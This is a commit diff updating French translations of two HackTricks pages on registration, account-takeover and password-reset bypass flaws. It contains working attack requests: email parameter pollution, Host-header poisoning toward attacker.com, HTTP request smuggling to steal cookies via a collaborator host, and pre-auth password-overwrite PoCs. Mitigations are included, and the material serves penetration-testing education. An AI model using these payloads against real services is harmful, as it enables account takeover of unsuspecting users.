Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:26:19 +00:00
parent 68c2486c64
commit aac816765f
2 changed files with 172 additions and 136 deletions

View File

@ -1,77 +1,79 @@
# Vulnérabilités d'Inscription & de Prise de Contrôle
# Vulnérabilités d'inscription & de Takeover
{{#include ../banners/hacktricks-training.md}}
## Prise de Contrôle d'Inscription
## Registration Takeover
### Inscription Dupliquée
### Duplicate Registration
- Essayez de générer en utilisant un nom d'utilisateur existant
- Essayez de créer un compte en utilisant un nom d'utilisateur existant
- Vérifiez en variant l'email :
- majuscules
- \+1@
- ajoutez un point dans l'email
- caractères spéciaux dans le nom de l'email (%00, %09, %20)
- Mettez des caractères noirs après l'email : `test@test.com a`
- ajoutez des points dans l'adresse e-mail
- caractères spéciaux dans la partie locale de l'email (%00, %09, %20)
- Ajoutez des caractères invisibles après l'email : `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Énumération de Noms d'Utilisateur
### Username Enumeration
Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.
### Politique de Mot de Passe
### Password Policy
Lors de la création d'un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
Dans ce cas, vous pouvez essayer de bruteforcer les identifiants.
Dans ce cas, vous pouvez tenter de bruteforcer les identifiants.
### Injection SQL
### SQL Injection
[**Vérifiez cette page** ](sql-injection/index.html#insert-statement)pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des **injections SQL** dans les formulaires d'inscription.
[**Check this page** ](sql-injection/index.html#insert-statement)pour apprendre comment tenter des account takeovers ou extraire des informations via **SQL Injections** dans les formulaires d'enregistrement.
### Oauth Takeovers
### Prises de Contrôle Oauth
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### Vulnérabilités SAML
### SAML Vulnerabilities
{{#ref}}
saml-attacks/
{{#endref}}
### Changer d'Email
### Change Email
Lors de l'inscription, essayez de changer l'email et vérifiez si ce changement est correctement validé ou si vous pouvez le changer en des emails arbitraires.
Une fois inscrit, essayez de changer l'email et vérifiez si ce changement est correctement validé ou s'il est possible de le remplacer par un e-mail arbitraire.
### Autres Vérifications
### More Checks
- Vérifiez si vous pouvez utiliser des **emails jetables**
- **Long** **mot de passe** (>200) entraîne un **DoS**
- **Vérifiez les limites de taux sur la création de compte**
- **Mot de passe** **très long** (>200) entraîne un **DoS**
- **Vérifiez les rate limits sur la création de comptes**
- Utilisez username@**burp_collab**.net et analysez le **callback**
## **Prise de Contrôle de Réinitialisation de Mot de Passe**
## **Password Reset Takeover**
### Fuite de Token de Réinitialisation de Mot de Passe Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Leak du token de réinitialisation de mot de passe via le Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Demandez une réinitialisation de mot de passe à votre adresse email
1. Demandez une réinitialisation de mot de passe pour votre adresse e-mail
2. Cliquez sur le lien de réinitialisation de mot de passe
3. Ne changez pas le mot de passe
4. Cliquez sur n'importe quel site tiers (ex : Facebook, Twitter)
5. Interceptez la requête dans le proxy Burp Suite
6. Vérifiez si l'en-tête referer fuit le token de réinitialisation de mot de passe.
5. Interceptez la requête dans le proxy de Burp Suite
6. Vérifiez si l'en-tête Referer leak le token de réinitialisation de mot de passe.
### Empoisonnement de Réinitialisation de Mot de Passe <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Interceptez la requête de réinitialisation de mot de passe dans Burp Suite
2. Ajoutez ou modifiez les en-têtes suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
1. Interceptez la requête de réinitialisation dans Burp Suite
2. Ajoutez ou éditez les en-têtes suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Transmettez la requête avec l'en-tête modifié\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'_en-tête host_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
4. Cherchez une URL de réinitialisation basée sur l'_host header_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
### Réinitialisation de Mot de Passe Via Paramètre Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR sur les paramètres API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
### IDOR sur les paramètres d'API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. L'attaquant doit se connecter avec son compte et aller à la fonctionnalité **Changer de mot de passe**.
2. Démarrez Burp Suite et interceptez la requête.
3. Envoyez-la à l'onglet répéteur et modifiez les paramètres : User ID/email\
1. L'attaquant doit se connecter avec son compte et aller à la fonctionnalité **Change password**.
2. Démarrez Burp Suite et activez Intercept sur la requête
3. Envoyez-la à l'onglet Repeater et modifiez les paramètres : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Jeton de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
### Token de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Le jeton de réinitialisation de mot de passe doit être généré aléatoirement et unique à chaque fois.\
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
Le token de réinitialisation de mot de passe doit être généré aléatoirement et unique à chaque fois.\
Essayez de déterminer si le token expire ou s'il est toujours le même ; dans certains cas l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
- Horodatage
- Timestamp
- UserID
- Email de l'utilisateur
- Prénom et nom de famille
- Date de naissance
- Cryptographie
- Numéro uniquement
- Petite séquence de jeton (caractères entre \[A-Z,a-z,0-9])
- Réutilisation du jeton
- Date d'expiration du jeton
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between \[A-Z,a-z,0-9])
- Token reuse
- Token expiration date
### Fuite du jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
### Fuite du token de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un email spécifique, par exemple : test@mail.com
2. Inspectez la réponse du serveur et vérifiez `resetToken`
3. Utilisez ensuite le jeton dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Déclenchez une demande de réinitialisation de mot de passe via l'API/UI pour un email spécifique, par ex : test@mail.com
2. Inspectez la réponse du serveur et vérifiez la présence de `resetToken`
3. Ensuite, utilisez le token dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. par exemple : `"admin "`
1. Enregistrez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. ex : `"admin "`
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
3. Utilisez le jeton envoyé à votre email et réinitialisez le mot de passe de la victime.
3. Utilisez le token envoyé à votre email et réinitialisez le mot de passe de la victime.
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.
La plateforme CTFd était vulnérable à cette attaque.\
Voir : [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Prise de contrôle de compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Prise de contrôle du compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Trouvez un XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont limités au domaine parent : `*.domain.com`
2. Fuite du **cookie de session** actuel
1. Trouvez un XSS dans l'application ou sur un sous-domaine si les cookies sont limités au domaine parent : `*.domain.com`
2. Exfiltrer le **sessions cookie** actuel
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
### Prise de contrôle de compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Prise de contrôle du compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Utilisez **smuggler** pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Cez une requête qui écrasera le `POST / HTTP/1.1` avec les données suivantes :\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\
3\. La requête finale pourrait ressembler à ce qui suit
2\. Confectionnez une requête qui écrasera le `POST / HTTP/1.1` avec les données suivantes :\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` dans le but d'entraîner un open redirect des victimes vers burpcollab et de voler leurs cookies\
3\. La requête finale pourrait ressembler à la suivante
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -151,29 +153,50 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone signale l'exploitation de ce bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
Hackerone reports exploiting this bug\
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Prise de contrôle de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Détournement de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Créez un payload pour le CSRF, par exemple : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
1. Créez un payload pour le CSRF, par ex. : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
2. Envoyez le payload
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Détournement de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token peut être utilisé pour authentifier un utilisateur.
- Modifiez le JWT avec un autre ID d'utilisateur / Email
- Vérifiez la signature JWT faible
- Modifier le JWT avec un autre User ID / Email
- Vérifier la présence d'une signature JWT faible
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## Inscription comme réinitialisation (Upsert on Existing Email)
Certains signup handlers effectuent un upsert lorsque l'email fourni existe déjà. Si l'endpoint accepte un corps minimal avec un email et un password et n'applique pas de vérification de propriété, envoyer l'email de la victime écrasera son mot de passe pre-auth.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
- Minimal body observed in the wild:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Exemple de PoC :
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Impact : Full Account Takeover (ATO) sans aucun reset token, OTP, ni vérification par e-mail.
## Références
- [Comment j'ai trouvé un bug critique de réinitialisation de mot de passe (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,122 +1,122 @@
# Reset/Forgotten Password Bypass
# Contournement de réinitialisation / mot de passe oublié
{{#include ../banners/hacktricks-training.md}}
## **Password Reset Token Leak Via Referrer**
- L'en-tête HTTP referer peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
- **Impact** : Prise de contrôle potentielle de compte via des attaques Cross-Site Request Forgery (CSRF).
- **Exploitation** : Pour vérifier si un password reset token leak dans le referer header, **demandez une réinitialisation de mot de passe** vers votre adresse email et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si le **referer header contient le password reset token**, car cela pourrait exposer des informations sensibles à des tiers.
- **Références** :
- Le HTTP referer header peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé un password reset.
- **Impact** : Potentielle prise de contrôle de compte via des attaques Cross-Site Request Forgery (CSRF).
- **Exploitation** : Pour vérifier si un password reset token leak dans le referer header, **demandez un password reset** sur votre adresse email et **cliquez sur le reset link** fourni. **Ne changez pas votre password** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si le **referer header contient le password reset token**, car cela pourrait exposer des informations sensibles à des tiers.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Password Reset Poisoning**
- Les attaquants peuvent manipuler le Host header pendant les requêtes de password reset pour pointer le reset link vers un site malveillant.
- **Impact** : Peut conduire à une prise de contrôle de compte potentielle via le leak des reset tokens vers les attaquants.
- **Mesures d'atténuation** :
- Valider le Host header contre une whitelist de domaines autorisés.
- Utiliser des méthodes serveur sécurisées pour générer des URLs absolues.
- **Patch** : Utiliser `$_SERVER['SERVER_NAME']` pour construire les password reset URLs au lieu de `$_SERVER['HTTP_HOST']`.
- **Références** :
- Les attaquants peuvent manipuler le Host header durant les password reset requests pour pointer le reset link vers un site malveillant.
- **Impact** : Conduit à une prise de contrôle potentielle de comptes en leaking des reset tokens vers les attaquants.
- **Mitigation Steps** :
- Validez le Host header contre une whitelist de domaines autorisés.
- Utilisez des méthodes server-side sécurisées pour générer des URLs absolues.
- **Patch** : Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
Les attaquants peuvent manipuler la requête de password reset en ajoutant des paramètres email supplémentaires pour détourner le lien de réinitialisation.
Les attaquants peuvent manipuler la password reset request en ajoutant des paramètres email supplémentaires pour détourner le reset link.
- Ajouter l'email de l'attaquant comme second paramètre en utilisant &
- Ajoutez l'email de l'attaquant en tant que second paramètre en utilisant &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant %20
- Ajouter attacker email comme deuxième paramètre en utilisant %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc
Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant bcc
- Ajoutez l'adresse e-mail de l'attacker comme deuxième paramètre en utilisant bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant ,
- Ajoutez attacker email comme deuxième paramètre en utilisant ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Ajouter l'email de l'attaquant comme deuxième paramètre dans le tableau json
- Ajouter attacker email comme deuxième paramètre dans json array
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Mesures d'atténuation**:
- Analyser et valider correctement les paramètres d'adresse e-mail côté serveur.
- Utiliser des prepared statements ou des requêtes paramétrées pour prévenir les attaques par injection.
- Analyser et valider correctement les paramètres email côté serveur.
- Utiliser des prepared statements ou des parameterized queries pour prévenir les injection attacks.
- **Références**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Modification de l'email et du mot de passe de n'importe quel utilisateur via les paramètres API**
## **Modification de l'Email et du Password de n'importe quel utilisateur via les paramètres API**
- Les attaquants peuvent modifier les paramètres d'adresse e-mail et de mot de passe dans les requêtes API pour changer les identifiants du compte.
- Les attackers peuvent modifier les paramètres email et password dans les requêtes API pour changer les identifiants du compte.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Étapes d'atténuation**:
- Assurer une validation stricte des paramètres et des vérifications d'authentification.
- Mettre en place des logs et une surveillance robustes pour détecter et répondre aux activités suspectes.
- Assurez une validation stricte des paramètres et des contrôles d'authentification.
- Mettez en place une journalisation et une surveillance robustes pour détecter et répondre aux activités suspectes.
- **Référence**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Absence de limitation de débit : Email Bombing**
## **Absence de rate limiting: Email Bombing**
- L'absence de limitation de débit sur les requêtes de réinitialisation de mot de passe peut conduire à de l'Email Bombing, submergeant l'utilisateur par des e-mails de réinitialisation.
- L'absence de rate limiting sur les demandes de password reset peut conduire à de l'email bombing, submergeant l'utilisateur d'emails de reset.
- **Étapes d'atténuation**:
- Implémenter une limitation de débit basée sur l'adresse IP ou le compte utilisateur.
- Utiliser des défis CAPTCHA pour empêcher l'abus automatisé.
- Mettre en place du rate limiting basé sur l'adresse IP ou le compte utilisateur.
- Utiliser des challenges CAPTCHA pour prévenir les abus automatisés.
- **Références**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Découvrir comment le Password Reset Token est généré**
## **Find out How Password Reset Token is Generated**
- Comprendre le schéma ou la méthode derrière la génération du token peut permettre de prédire ou de brute-forcer les tokens. Quelques options :
- Basé sur l'horodatage
- Basé sur l'ID utilisateur
- Basé sur l'email de l'utilisateur
- Basé sur le prénom et le nom
- Basé sur la date de naissance
- Basé sur la cryptographie
- Comprendre le schéma ou la méthode de génération des tokens peut permettre de prédire ou brute-forcer des tokens. Quelques options :
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- **Étapes d'atténuation**:
- Utiliser des méthodes cryptographiques solides pour la génération des tokens.
- Assurer une entropie et une longueur suffisantes pour éviter toute prévisibilité.
- **Outils**: Utiliser Burp Sequencer pour analyser l'aléa des tokens.
- Utiliser des méthodes cryptographiques fortes pour la génération des tokens.
- Assurer une entropie et une longueur suffisantes pour éviter la prévisibilité.
- **Outils**: Use Burp Sequencer to analyze the randomness of tokens.
## **UUID prévisible**
## **Guessable UUID**
- Si les UUID (version 1) sont devinables ou prévisibles, les attaquants peuvent les brute-forcer pour générer des reset tokens valides. Vérifier :
- Si les UUIDs (version 1) sont devinables ou prévisibles, un attaquant peut les brute-forcer pour générer des reset tokens valides. Check:
{{#ref}}
@ -124,55 +124,55 @@ uuid-insecurities.md
{{#endref}}
- **Étapes d'atténuation**:
- Utiliser la GUID version 4 pour l'aléa ou implémenter des mesures de sécurité additionnelles pour les autres versions.
- **Outils**: Utiliser [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUIDs.
- Utiliser GUID version 4 pour l'aléa ou implémenter des mesures de sécurité supplémentaires pour les autres versions.
- **Outils**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
## **Manipulation de la réponse : Replace Bad Response With Good One**
## **Response Manipulation: Replace Bad Response With Good One**
- Manipulation des réponses HTTP pour contourner les messages d'erreur ou les restrictions.
- Manipuler les réponses HTTP pour contourner les messages d'erreur ou les restrictions.
- **Étapes d'atténuation**:
- Implémenter des vérifications côté serveur pour garantir l'intégrité des réponses.
- Mettre en place des contrôles côté serveur pour assurer l'intégrité des réponses.
- Utiliser des canaux de communication sécurisés comme HTTPS pour prévenir les attaques man-in-the-middle.
- **Référence**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Utilisation d'un token expiré**
## **Using Expired Token**
- Tester si des tokens expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
- Tester si des tokens expirés peuvent encore être utilisés pour le password reset.
- **Étapes d'atténuation**:
- Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration côté serveur.
## **Brute-force du token de réinitialisation**
## **Brute Force Password Reset Token**
- Tentative de brute-force du token de reset en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limitations basées sur l'IP.
- Tenter de brute-forcer le reset token en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les rate limits basés sur l'IP.
- **Étapes d'atténuation**:
- Implémenter une limitation de débit robuste et des mécanismes de verrouillage de compte.
- Surveiller les activités suspectes indicatrices d'attaques par brute-force.
- Mettre en place des rate-limiting robustes et des mécanismes de verrouillage de compte.
- Surveiller les activités suspectes indiquant des attaques par brute-force.
## **Essayer d'utiliser votre token**
## **Try Using Your Token**
- Tester si le token de reset d'un attaquant peut être utilisé conjointement avec l'email de la victime.
- Tester si le reset token d'un attaquant peut être utilisé avec l'email de la victime.
- **Étapes d'atténuation**:
- S'assurer que les tokens sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
## **Session Invalidation in Logout/Password Reset**
- S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
- **Étapes d'atténuation**:
- Mettre en place une gestion de session correcte, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.
- Mettre en place une gestion correcte des sessions, en veillant à ce que toutes les sessions soient invalidées lors du logout ou du password reset.
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
## **Session Invalidation in Logout/Password Reset**
- Les reset tokens doivent avoir une durée d'expiration après laquelle ils deviennent invalides.
- Les reset tokens doivent avoir un temps d'expiration après lequel ils deviennent invalides.
- **Étapes d'atténuation**:
- Définir un délai d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.
- Définir un temps d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.
## **Bypass de la limitation OTP en changeant votre session**
## **OTP rate limit bypass by changing your session**
- Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP est faible (<= 4 chiffres), on peut effectivement brute-forcer l'OTP.
- Si le site utilise la session utilisateur pour suivre les tentatives de OTP erronées et que l'OTP est faible ( <= 4 digits) alors on peut effectivement bruteforce l'OTP.
- **exploitation**:
- il suffit de demander un nouveau token de session après avoir été bloqué par le serveur.
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
- il suffit de demander un nouveau session token après avoir été bloqué par le serveur.
- **Exemple** de code qui exploite ce bug en devinant aléatoirement l'OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
``` python
# Authentication bypass by password reset
@ -233,7 +233,7 @@ print("[+] Attck stopped")
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété du compte. Si l'endpoint accepte un paramètre action comme change_password et un username/nouveau mot de passe dans le corps de la requête, un attaquant peut réinitialiser arbitrairement des comptes en pré-auth.
Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété. Si l'endpoint accepte un paramètre action comme change_password et un username/new password dans le corps de la requête, un attaquant peut réinitialiser des comptes arbitraires pre-auth.
Schéma vulnérable (PHP):
```php
@ -255,7 +255,7 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Requête d'exploitation (concept):
Demande d'Exploitation (concept):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Mesures d'atténuation:
- Exiger toujours un reset token valide et limité dans le temps, lié au compte et à la session, avant de modifier le mot de passe.
- Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; appliquer l'authentification pour les changements de mot de passe ordinaires et vérifier l'ancien mot de passe.
- Invalider toutes les sessions actives et les reset tokens après un changement de mot de passe.
- Exiger toujours un token de réinitialisation valide, limité dans le temps et lié au compte et à la session avant de changer un mot de passe.
- Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; imposer l'authentification pour les changements de mot de passe normaux et vérifier l'ancien mot de passe.
- Invalider toutes les sessions actives et les tokens de réinitialisation après un changement de mot de passe.
## Enregistrement comme réinitialisation de mot de passe (Upsert sur un email existant)
Certaines applications implémentent le gestionnaire d'inscription comme un upsert. Si l'email existe déjà, le gestionnaire met à jour silencieusement l'enregistrement utilisateur au lieu de rejeter la requête. Lorsque le endpoint d'enregistrement accepte un corps JSON minimal contenant un email existant et un nouveau mot de passe, il devient effectivement une réinitialisation de mot de passe pre-auth sans aucune vérification de propriété, permettant une prise de contrôle complète du compte.
Pre-auth ATO PoC (écrasement du mot de passe d'un utilisateur existant):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Références
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}